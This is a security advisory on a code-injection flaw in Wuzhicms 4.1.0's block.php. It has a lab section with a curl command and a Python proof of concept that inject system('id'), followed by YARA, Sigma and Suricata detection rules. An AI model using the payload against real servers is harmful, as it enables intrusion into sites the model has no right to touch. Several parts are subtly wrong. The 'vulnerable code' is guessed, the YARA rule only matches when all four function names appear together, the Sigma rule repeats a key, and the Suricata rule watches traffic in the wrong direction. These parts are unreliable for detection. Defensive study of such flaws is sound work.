CVE-2024-10505

Executive Summary

CVE-2024-10505 is a critical code injection vulnerability discovered in Wuzhicms version 4.1.0. The flaw resides in the add/edit functions within the file www/coreframe/app/content/admin/block.php. An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary code, leading to full system compromise. The vendor was contacted but did not respond, and no official patch is available. Public proof-of-concept (PoC) code has been released, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct code injection flaw in the Wuzhicms PHP application.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but based on the description and impact, the vector is estimated as:
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Deep Dive & Mechanics

The vulnerability is located in the block.php file of the Wuzhicms content management system. The add and edit functions do not properly sanitize user-supplied input before passing it to a code execution context (likely eval() or preg_replace() with the /e modifier). An attacker can craft a malicious HTTP request to the admin panel, injecting PHP code that gets executed on the server.

The attack is remote and does not require authentication, making it highly dangerous. The researcher disclosed two separate issues for the different function calls, indicating multiple injection points.

Vulnerable vs. Patched Code

Vulnerable Code (block.php - add/edit functions):

// Vulnerable: Directly uses user input in a code execution context
$block_content = $_POST['content'];
eval("\$block = " . $block_content . ";");

Patched Code (Hypothetical):

// Patched: Validate and sanitize input, avoid eval()
$block_content = $_POST['content'];
$block_content = json_decode($block_content, true);
if (is_array($block_content)) {
    $block = $block_content;
} else {
    // Handle error
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install Wuzhicms 4.1.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the admin panel is accessible at http://localhost/wuzhicms/www/admin.php.

Exploit Steps:

1. Send a POST request to the vulnerable endpoint with a malicious payload.
2. Example using curl:

curl -X POST http://localhost/wuzhicms/www/admin.php?m=content&f=block&v=add \
  -d "content=system('id');"

3. The server executes the injected code, returning the output of the id command.

PoC Code (Python):

import requests

url = "http://target/wuzhicms/www/admin.php?m=content&f=block&v=add"
payload = {"content": "system('id');"}
response = requests.post(url, data=payload)
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor for unusual POST requests to /admin.php with parameters m=content, f=block, and v=add or v=edit.
• Look for payloads containing system, exec, shell_exec, eval, or other dangerous PHP functions in the content parameter.

Response:

• Immediately block the attacking IP address.
• Isolate the affected server.
• Review logs for signs of post-exploitation activity (e.g., file uploads, outbound connections).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /admin.php?m=content&f=block&v=add or v=edit with suspicious content parameter.
  • Outbound connections from the web server to unknown IPs on non-standard ports.
• File IOCs:
  • Unexpected files in the web root (e.g., shell.php, backdoor.php).
  • Modified block.php file with injected code.
• System IOCs:
  • Unusual processes running as the web server user (e.g., nc, bash).
  • New cron jobs or system services.

Detection Engineering

YARA Rule

rule CVE_2024_10505_Code_Injection {
    meta:
        description = "Detects code injection attempts targeting Wuzhicms block.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10505"
    strings:
        $payload1 = "system(" ascii wide nocase
        $payload2 = "exec(" ascii wide nocase
        $payload3 = "shell_exec(" ascii wide nocase
        $payload4 = "eval(" ascii wide nocase
        $payload5 = "content=" ascii wide nocase
    condition:
        all of ($payload1, $payload2, $payload3, $payload4) and $payload5
}

Sigma Rule

title: Wuzhicms Block.php Code Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests targeting Wuzhicms block.php with code injection payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'm=content'
            - 'f=block'
            - 'v=add'
            - 'v=edit'
        cs-uri-query|contains: 'content='
    keywords:
        - 'system('
        - 'exec('
        - 'shell_exec('
        - 'eval('
    condition: selection and keywords
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10505 Wuzhicms Block.php Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php"; http_uri; content:"m=content"; http_uri; content:"f=block"; http_uri; content:"v=add"; http_uri; content:"content="; http_client_body; pcre:"/(system|exec|shell_exec|eval)\(/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functionality: If possible, restrict access to the block.php file or disable the add and edit functions.
2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing dangerous PHP functions in the content parameter.
3. Network Segmentation: Isolate the Wuzhicms server from critical internal networks.

Long-term Fix:

• Since no official patch is available, consider migrating to a different CMS or applying a manual code fix:
  • Remove or comment out the eval() call in block.php.
  • Implement strict input validation and sanitization.
  • Use parameterized queries or JSON encoding instead of direct code execution.

Monitoring:

• Continuously monitor logs for exploitation attempts.
• Use the provided YARA, Sigma, and Suricata rules for detection.

Valters IT
DevSecOps & Cyber Threat Intelligence